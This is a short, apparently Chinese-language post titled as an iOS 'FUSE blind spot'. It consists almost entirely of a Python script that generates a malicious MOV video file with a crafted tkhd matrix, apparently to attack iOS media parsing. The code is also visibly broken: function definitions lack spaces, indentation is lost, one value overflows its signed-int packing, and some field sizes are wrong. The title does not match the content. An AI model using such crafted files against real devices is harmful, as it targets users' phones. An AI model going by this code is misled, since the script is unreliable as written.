iOS 的 FUSE 盲区

#!/usr/bin/env python3
# malicious_mov.py — 生成带有恶意 tkhd 矩阵的 MOV 文件

import struct
import os

defcreate_atom(atom_type, data):
    size = 8 + len(data)
return struct.pack('>I', size) + atom_type.encode() + data

defcreate_tkhd():
# 正常 tkhd 头部
    version = 0
    flags = 0
    creation_time = 0
    modification_time = 0
    track_id = 1
    reserved1 = 0
    duration = 1000
    reserved2 = b'\x00' * 8
    layer = 0
    alternate_group = 0
    volume = 0x0100
    reserved3 = 0
    matrix = struct.pack('>9i',
0xFFFFFFFF, 0, 0,       # a, b, u (a 设为 -1 的定点)
0, 0xFFFFFFFF, 0,       # c, d, v (d 同样设为 -1)
0, 0, 0x40000000# w 设为 2.0
    )
    width = struct.pack('>I', 0x05A00000)   # 1440.0
    height = struct.pack('>I', 0x04380000)  # 1080.0

    data = struct.pack('>B', version)
    data += struct.pack('>3B', (flags >> 16) & 0xFF, (flags >> 8) & 0xFF, flags & 0xFF)
    data += struct.pack('>I', creation_time)
    data += struct.pack('>I', modification_time)
    data += struct.pack('>I', track_id)
    data += struct.pack('>I', reserved1)
    data += struct.pack('>I', duration)
    data += reserved2
    data += struct.pack('>I', layer)
    data += struct.pack('>I', alternate_group)
    data += struct.pack('>h', volume)
    data += struct.pack('>H', reserved3)
    data += matrix
    data += width
    data += height
return create_atom('tkhd', data)

defcreate_mdat():
# 放置一些 H.264 占位数据
return create_atom('mdat', b'\x00\x00\x00\x01\x09\x10\x00\x00\x00\x01\x67\x42\x00\x1F\x95\xA0\x0A\x00\x00\x00\x01\x68\xCE\x3C\x80')

defmain():
    tkhd = create_tkhd()
    mdat = create_mdat()
    trak = create_atom('trak', tkhd)
    moov = create_atom('moov', trak)
    file_data = mdat + moov

with open('malicious.mov', 'wb') as f:
        f.write(file_data)
    print('[+] 恶意 MOV 文件已保存为 malicious.mov')

if __name__ == '__main__':
    main()